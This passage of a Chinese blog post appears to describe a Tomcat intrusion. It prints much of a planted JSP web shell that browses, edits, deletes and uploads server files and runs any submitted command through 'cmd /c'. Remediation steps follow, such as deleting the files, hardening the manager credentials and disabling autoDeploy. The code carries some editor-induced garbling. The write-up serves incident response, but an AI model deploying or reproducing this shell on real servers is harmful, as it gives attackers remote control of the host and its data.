  816.         if(list[i].isDirectory())  
  817.         {  
  818.             sbFolder.append("<tr><td >&nbsp;</td><td>");  
  819.             sbFolder.append("  <a href="/" mce_href="/""javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');/">");  
  820.             sbFolder.append(list[i].getName()+"</a><br></td></tr> ");  
  821.         }  
  822.         else  
  823.         {  
  824.             String strLen="";  
  825.             String strDT="";  
  826.             long lFile=0;  
  827.             lFile=list[i].length();  
  828.             strLen = convertFileSize(lFile);  
  829.             Date dt=new Date(list[i].lastModified());  
  830.             strDT=dt.toLocaleString();  
  831.             sbFile.append("<tr οnmοuseοver=/"this.style.backgroundColor='#FBFFC6'/" οnmοuseοut=/"this.style.backgroundColor='white'/"><td>");  
  832.             sbFile.append(""+list[i].getName());      
  833.             sbFile.append("</td><td>");  
  834.             sbFile.append(""+strLen);  
  835.             sbFile.append("</td><td>");  
  836.             sbFile.append(""+strDT);  
  837.             sbFile.append("</td><td>");  
  838.   
  839.             sbFile.append(" &nbsp;<a href="/" mce_href="/""javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");  
  840.             sbFile.append(strFileEdit[languageNo]+"</a> ");  
  841.   
  842.             sbFile.append(" &nbsp;<a href="/" mce_href="/""javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");  
  843.             sbFile.append(strFileDel[languageNo]+"</a> ");  
  844.   
  845.             sbFile.append("  &nbsp;<a href="/" mce_href="/""javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");  
  846.             sbFile.append(strFileDown[languageNo]+"</a> ");  
  847.   
  848.             sbFile.append("  &nbsp;<a href="/" mce_href="/""javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");  
  849.             sbFile.append(strFileCopy[languageNo]+"</a> ");  
  850.         }         
  851.   
  852.     }     
  853. }  
  854. catch(Exception e)  
  855. {  
  856.     out.println("<font color=red>操作失败: "+e.toString()+"</font>");  
  857. }  
  858. %>  
  859.   
  860. <DIV id="tabcontentcontainer">  
  861.   
  862.   
  863. <div id="menu3" class="tabcontent">  
  864. <br>   
  865. <br>    未完成  
  866. <br>   
  867. <br>   
  868.   
  869. </div>  
  870.   
  871. <div id="menu4" class="tabcontent">  
  872. <br>  
  873. <p>一、功能说明</p>  
  874. <p>    jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p>  
  875. <p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p>  
  876. <p>与windows的cmd。</p>  
  877. <p> </p>  
  878. <p>二、测试</p>  
  879. <p>   <b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p>  
  880. 留言地址为:<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" mce_href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>  
  881. <p> </p>  
  882. <p>三、更新记录</p>  
  883. <p>    2004.11.15  V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>  
  884. <p>    2004.10.27  暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p>  
  885. <p>    2004.09.20  第一个jsp 程序就是这个简单的显示目录文件的小程序</p>  
  886. <p> </p>  
  887. <p> </p>  
  888. </div>  
  889.   
  890.   
  891. <div id="menu1" class="tabcontent">  
  892. <%  
  893. out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>/r/n");  
  894. %>  
  895. <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">  
  896.          
  897.         <tr>   
  898.           <td width="25%" align="center" valign="top">   
  899.               <table width="98%" border="0" cellspacing="0" cellpadding="3">  
  900.                 <%=sbFolder%>  
  901.                 </tr>                   
  902.               </table>  
  903.           </td>  
  904.           <td width="81%" align="left" valign="top">  
  905.       
  906.     <%  
  907.     if(strAction!=null && strAction.equals("edit"))  
  908.     {  
  909.         out.println(sbEdit.toString());  
  910.     }  
  911.     else if(strAction!=null && strAction.equals("copy"))  
  912.     {  
  913.         out.println(sbCopy.toString());  
  914.     }  
  915.     else if(strAction!=null && strAction.equals("down"))  
  916.     {  
  917.         out.println(sbDown.toString());  
  918.     }  
  919.     else if(strAction!=null && strAction.equals("savecopy"))  
  920.     {  
  921.         out.println(sbSaveCopy.toString());  
  922.     }  
  923.     else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))  
  924.     {  
  925.         out.println(sbNewFile.toString());  
  926.     }  
  927.     else  
  928.     {  
  929.     %>  
  930.         <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >  
  931.               <tr bgcolor="#E7e7e6">   
  932.                 <td width="26%"><%=strFileName[languageNo]%></td>  
  933.                 <td width="19%"><%=strFileSize[languageNo]%></td>  
  934.                 <td width="29%"><%=strLastModified[languageNo]%></td>  
  935.                 <td width="26%"><%=strFileOperation[languageNo]%></td>  
  936.               </tr>                
  937.             <%=sbFile%>  
  938.              <!-- <tr align="center">   
  939.                 <td colspan="4"><br>  
  940.                   总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>   
  941.                   KB </td>  
  942.               </tr>  
  943.              -->  
  944.             </table>  
  945.             </span>  
  946.     <%  
  947.     }         
  948.     %>  
  949.   
  950.           </td>  
  951.         </tr>  
  952.   
  953.     <form name="frmMake" action="" method="post">  
  954.     <tr><td colspan=2 bgcolor=#FBFFC6>  
  955.     <input type="hidden" name="action" value="newFile">  
  956.     <input type="hidden" name="path" value="<%=strDir%>">  
  957.     <input type="hidden" name="file" value="<%=strFile%>">  
  958.     <input type="hidden" name="cmd" value="<%=strCmd%>">  
  959.     <input type="hidden" name="tabID" value="1">  
  960.     <input type="hidden" name="content" value="">  
  961.     <%  
  962.     if(!strDir.endsWith("//"))  
  963.     strDir = strDir + "//";  
  964.     %>  
  965.     <input type="text" name="fileName" size=36 value="<%=strDir%>">  
  966.     <input type="submit" name="btnNewFile" value="新建文件" onClick="frmMake.submit()" >   
  967.     <input type="submit" name="btnNewDir" value="新建目录"  οnclick="frmMake.submit()" >   
  968.     </form>         
  969.     <form name="frmUpload" enctype="multipart/form-data" action="" method="post">  
  970.     <input type="hidden" name="action" value="upload">  
  971.     <input type="hidden" name="path" value="<%=strDir%>">  
  972.     <input type="hidden" name="file" value="<%=strFile%>">  
  973.     <input type="hidden" name="cmd" value="<%=strCmd%>">  
  974.     <input type="hidden" name="tabID" value="1">  
  975.     <input type="hidden" name="content" value="">  
  976.     <input type="file" name="cqqUploadFile" size="36">  
  977.     <input type="submit" name="submit" value="上传">  
  978.     </td></tr></form>  
  979.       </table>  
  980. </div>  
  981. <div id="menu2" class="tabcontent">  
  982.   
  983. <%  
  984. String line="";  
  985. StringBuffer sbCmd=new StringBuffer("");  
  986.   
  987. if(strCmd!=null)   
  988. {  
  989.     try  
  990.     {  
  991.         //out.println(strCmd);  
  992.         Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);  
  993.         BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));  
  994.         while((line=br.readLine())!=null)  
  995.         {  
  996.             sbCmd.append(line+"/r/n");        
  997.         }      
  998.     }  
  999.     catch(Exception e)  
  1000.     {  
  1001.         System.out.println(e.toString());  
  1002.     }  
  1003. }  
  1004. else  
  1005. {  
  1006.     strCmd = "set";  
  1007. }  
  1008.   
  1009. %>  
  1010. <form name="cmd" action="" method="post">  
  1011.    
  1012. <input type="text" name="cmd" value="<%=strCmd%>" size=50>  
  1013. <input type="hidden" name="tabID" value="2">  
  1014. <input type=submit name=submit value="<%=strExecute[languageNo]%>">  
  1015. </form>  
  1016. <%  
  1017. if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)  
  1018. {  
  1019. %>  
  1020.  <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%>  

 


3,解决方案

 


如果你看到你的webapp下也多了莫名其妙的目录,

 1)马上停止tomcat   2)确定是入侵文件后马上删除或转移到其它临时目录 3)修改conf/tomcat-user.xml 里的密码, 要设置复杂一些

 4)如果manager服务可以不用最好停止,移除app即可 5)为了以防万一最好给tomcat的owener设置权限只能操作部分目录,不要直接使用root。

6)清理一下tomcat的缓存 work目录下,再启动。

7)如果没有必要热部署,把conf/server.xml 中的autoDeploy改成false,这样webapp目录下的应用不会自动部署。 可改用指定目录的方式部署。

 



  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值